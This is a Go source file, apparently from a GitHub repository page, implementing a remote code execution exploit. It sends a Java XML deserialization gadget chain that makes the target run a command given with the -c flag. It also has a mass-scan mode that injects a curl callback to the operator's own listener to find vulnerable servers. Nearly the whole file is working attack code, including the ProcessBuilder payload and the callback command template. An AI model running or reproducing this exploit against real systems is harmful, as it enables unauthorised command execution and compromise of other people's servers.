-
Notifications
You must be signed in to change notification settings - Fork 26
/
main.go
216 lines (183 loc) · 5.12 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
package main
import (
"fmt"
"strings"
"net/http"
"log"
"io/ioutil"
"flag"
"crypto/tls"
"os"
"bufio"
"net"
"time"
)
var httpClient = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
}
const (
curlCommand = "curl %s:%d/?t=%s"
checkIpEndpoint = "http://checkip.amazonaws.com"
stringNodeEnclosure = "<string>%s</string>"
xmlPayload =
`<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
%s
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>`
)
// Builds the xml payload using the passed command
func buildXMLPayload(c string) string {
var t string
for _, p := range strings.Split(c, "\x20") {
t += fmt.Sprintf(stringNodeEnclosure, p)
}
return fmt.Sprintf(xmlPayload, t)
}
// Resolves the remote ip address of the current machine
func getMyExternalIp() string {
res, err := http.Get(checkIpEndpoint)
if err != nil {
log.Fatalln(err)
}
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatalln(err)
}
return strings.TrimRight(
string(body),
"\r\n",
)
}
// Starts a reverse listener
func startListener(port int, callback func(*http.Request)) {
http.HandleFunc("/", func(res http.ResponseWriter, req *http.Request) {
// Discards the response which is useless in this case and pass the
// request to our callback
callback(req)
})
server := &http.Server{}
listener, err := net.ListenTCP(
"tcp4",
&net.TCPAddr{
IP: net.IPv4(0, 0, 0, 0),
Port: port,
})
if err != nil {
log.Fatalln(err)
}
go server.Serve(listener)
}
func sendPayload(targetUrl string, payload string) {
req, err := http.NewRequest(http.MethodPost, targetUrl, strings.NewReader(payload))
if err != nil {
log.Fatalln(err)
}
//
req.Header.Set("content-type", "application/xml")
res, err := httpClient.Do(req)
if err != nil {
log.Fatalln(err)
}
res.Body.Close()
}
func checkTargetsFromFile(filename string, listenerPort int) {
file, err := os.Open(filename)
if err != nil {
log.Fatalln(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
// Starts the listener
startListener(listenerPort, func(req *http.Request) {
fmt.Println(req.URL.Query().Get("t") + " seems to be a vulnerable endpoint")
})
ip := getMyExternalIp()
for scanner.Scan() {
target := scanner.Text()
// Sends the payload
sendPayload(
target,
buildXMLPayload(
fmt.Sprintf(curlCommand, ip, listenerPort, target),
),
)
}
}
func isEmpty(s *string) bool {
return *s == ""
}
func main() {
urlPtr := flag.String("u", "", "target url")
commandPtr := flag.String("c", "", "command to be executed")
filePtr := flag.String("f", "", "file containing targets")
portPtr := flag.Int("p", 8080, "listener port")
flag.Parse()
if !isEmpty(urlPtr) && !isEmpty(commandPtr) {
// Sends a single request with the passed command
sendPayload(*urlPtr, buildXMLPayload(*commandPtr))
} else if !isEmpty(filePtr) {
// Reads a list of possible targets from a file and automatically
// check for RCE
checkTargetsFromFile(*filePtr, *portPtr)
// Waits some seconds before quitting to avoid false negative due
// to server latency. Hope to replace this workaround soon with some channels...
time.Sleep(10 * time.Second)
} else {
flag.Usage()
}
}